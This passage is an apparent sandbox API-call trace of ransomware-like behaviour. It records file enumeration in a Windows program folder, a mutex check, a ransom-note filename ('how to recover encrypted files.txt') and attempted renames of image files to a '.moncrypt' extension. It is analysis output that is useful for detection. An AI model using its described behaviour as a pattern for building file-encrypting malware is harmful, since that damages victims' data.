0x550170 [0057.341] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.341] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.341] GlobalUnlock (hMem=0x44000c) returned 0 [0057.341] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.341] GlobalUnlock (hMem=0x440004) returned 0 [0057.341] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.341] CharLowerBuffW (in: lpsz="16to9Squareframe_VideoInset.png", cchLength=0x1f | out: lpsz="16to9squareframe_videoinset.png") returned 0x1f [0057.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png", cchWideChar=75, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png", lpUsedDefaultChar=0x0) returned 75 [0057.342] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\16to9Squareframe_VideoInset.png", lpUsedDefaultChar=0x0) returned 4 [0057.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 0x54e240 [0057.343] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.343] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.343] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.343] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png", dwFileAttributes=0x20) returned 0 [0057.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.344] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.moncrypt")) returned 0 [0057.344] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0057.344] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.344] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.344] GlobalLock (hMem=0x440004) returned 0x550170 [0057.344] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.344] GlobalUnlock (hMem=0x440004) returned 0 [0057.344] GlobalLock (hMem=0x440004) returned 0x550170 [0057.344] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.345] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.345] GlobalUnlock (hMem=0x440004) returned 0 [0057.345] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.345] GlobalUnlock (hMem=0x44000c) returned 0 [0057.345] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.345] CharLowerBuffW (in: lpsz="4to3Squareframe_Buttongraphic.png", cchLength=0x21 | out: lpsz="4to3squareframe_buttongraphic.png") returned 0x21 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png", cchWideChar=77, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png", lpUsedDefaultChar=0x0) returned 77 [0057.346] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\4to3Squareframe_Buttongraphic.png", lpUsedDefaultChar=0x0) returned 4 [0057.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 0x54e240 [0057.346] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.346] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.346] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.346] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png", dwFileAttributes=0x20) returned 0 [0057.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.347] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.moncrypt")) returned 0 [0057.347] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, 